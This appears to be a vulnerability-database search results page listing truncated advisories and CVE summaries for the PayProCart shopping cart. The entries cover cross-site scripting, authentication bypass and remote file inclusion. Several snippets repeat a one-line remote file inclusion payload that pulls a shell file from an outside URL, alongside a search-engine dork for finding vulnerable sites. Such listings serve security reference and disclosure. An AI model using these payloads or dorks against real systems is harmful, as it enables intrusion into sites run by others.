46 matches found
EUVD-2005-1006
Malware in sbrugna...
EUVD-2005-1007
Malware in sbrugna...
ProfitCode Software PayProCart 3.0 AdminShop HDoc Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13305/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
ProfitCode Software PayProCart 3.0 AdminShop MMActionComm Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13309/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
ProfitCode Software PayProCart 3.0 Ckprvd Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13303/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
ProfitCode Software PayProCart 3.0 Usrdetails.PHP Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13002/info PayProCart is prone to a cross-site scripting vulnerability affecting the 'usrdetails.php' script. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting...
ProfitCode Software PayProCart 3.0 AdminShop ProMod Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13308/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
ProfitCode Software PayProCart 3.0 Username Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13299/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
ProfitCode Software PayProCart 3.0 AdminShop ModID Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13306/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
ProfitCode Software PayProCart 3.0 AdminShop TaskID Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13307/info PayProCart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
No description provided by source. google dork :powered by: profitCode exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
+-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion + +------------------------------------------------------------------- + + Affected Software .: Software + Version .............: ppalCart 2.5 EE + Venedor ...........:...
CVE-2006-4672
Summary (CVE-2006-4672): A PHP remote file inclusion vulnerability exists in profitCode ppalCart 2.5 EE, potentially part of PayProCart. An attacker can cause arbitrary PHP code execution by supplying a URL in the (1) proMod parameter to index.php, or the (2) docroot parameter to index.php or mai...
PayProCart 1146078425 - Multiple Remote File Inclusions
PayProCart 1146078425 - Multiple Remote File Inclusions google dork :"powered by: profitCode" exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
No description provided by source. google dork :"powered by: profitCode" exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ===================================================================== PayProCart 50 - 349 + + +else if$proMod +include "$proMod" . ".php"; + + +Line -- 288 - 349 +Ex --...
PayProCart 1146078425 - Multiple Remote File Inclusions
google dork :"powered by: profitCode" exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
google dork :"powered by: profitCode" exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...
payproXSS.txt
PayProCart multiple variable XSS & path disclosure vendor:http://www.profitcode.net/products/payprocart.html vendor confirmed: yes exploit avaible: yes advisore:http://lostmon.blogspot.com/2005/04/ payprocart-multiple-variable-xss-path.html OSVDB IDS:15528,15529,15530,15531,15532,15533,...
CVE-2005-1005
ProfitCode PayProCart 3.0 allows remote attackers to bypass authentication and gain administrative privileges to the admin control panel, as demonstrated via a direct request to adminshop/index.php with hex-encoded .. sequences in the ftoedit parameter...